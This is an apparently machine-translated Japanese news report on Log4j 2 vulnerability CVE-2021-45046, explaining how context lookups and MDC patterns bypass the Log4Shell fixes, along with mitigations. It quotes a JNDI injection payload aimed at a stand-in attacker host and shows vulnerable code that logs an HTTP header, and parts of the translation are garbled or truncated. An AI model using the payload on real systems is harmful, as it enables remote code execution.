追加された保護をバイパスできる Log4j 2 の新しい攻撃オプション

Log4j 2 ライブラリの JNDI ルックアップの実装で別の脆弱性 (CVE-2021-45046) が確認されました。この脆弱性は、リリース 2.15 で追加された修正にもかかわらず、また保護のための「log4j2.noFormatMsgLookup」設定の使用に関係なく発生します。この問題は主に、「noFormatMsgLookup」フラグを使用して保護されている Log4j 2 の古いバージョンで危険です。これは、以前の脆弱性 (Log4Shell、CVE-2021-44228) からの保護をバイパスできるため、サーバ。バージョン 2.15 のユーザーの場合、悪用は利用可能なリソースの枯渇によるアプリケーションのクラッシュを引き起こすものに限定されます。

この脆弱性は、${ctx:loginId} などのログ記録用のコンテキスト ルックアップ、または %X、%mdc、%MDC などの MDC テンプレート (スレッド コンテキスト マップ) を使用するシステムでのみ発生します。操作は、ログへの出力のフォーマット規則を定義するアプリケーションでコンテキスト クエリまたは MDC テンプレートを使用するときに、JNDI 置換を含むデータをログに出力するための条件を作成することになります。

LunaSec の研究者は、Log4j の 2.15 より前のバージョンでは、ログ出力に外部データを含む ThreadContext 式が使用されている場合、この脆弱性が Log4Shell 攻撃の新しいベクトルとして使用され、コードの実行につながる可能性があると指摘しました。 「保護」フラグが有効になっています。noMsgFormatLookups」またはテンプレート「%m{nolookups}」。

追加された保護をバイパスできる Log4j 2 の新しい攻撃オプション

保護を回避するには、「${jndi:ldap://攻撃者.com/a}」を直接置換する代わりに、この式がログ出力のフォーマット規則で使用される中間変数の値を通じて置換されるという事実に帰着します。 。例えば、ログ出力時にコンテキストクエリ ${ctx:apiversion} を使用した場合、ログに「${jndi:ldap://攻撃者.com/a}」というデータを代入することで攻撃が可能となります。 apiversion 変数に書き込まれる値。脆弱なコードの例: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP ヘッダー値が ThreadContext に渡されます ThreadContext.put("apiversion "、apiVersion ); // ログ記録時に、外部 APIversion 値は置換 ${ctx:apiversion} logger.info("Received a request for API version"); を使用して処理されます。 「こんにちは、世界!」を返します。 }

Log4j バージョン 2.15 では、この脆弱性を利用して ThreadContext に値を渡すときに DoS 攻撃を実行することができ、その結果、出力フォーマット テンプレートの処理でループが発生します。

追加された保護をバイパスできる Log4j 2 の新しい攻撃オプション

この脆弱性をブロックするために、アップデート 2.16 および 2.12.2 が公開されました。 Log4j 2.16 ブランチでは、バージョン 2.15 で実装された修正と「localhost」への JNDI LDAP リクエストのバインドに加えて、JNDI 機能がデフォルトで完全に無効になり、メッセージ置換テンプレートのサポートが削除されました。セキュリティの回避策として、クラスパスから JndiLookup クラスを削除することをお勧めします (たとえば、「zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class」)。 。

ディストリビューション (Debian、Ubuntu、RHEL、SUSE、Fedora、Arch) および Java プラットフォーム メーカー (GitHub、Docker、Oracle、vmWare、Broadcom、Amazon/AWS、Juniper、VMware、 Cisco、IBM、Red Hat、MongoDB、Okta、SolarWinds、Symantec、McAfee、SonicWall、FortiGuard、Ubiquiti、F-Secure など)。

出所: オープンネット.ru

コメントを追加します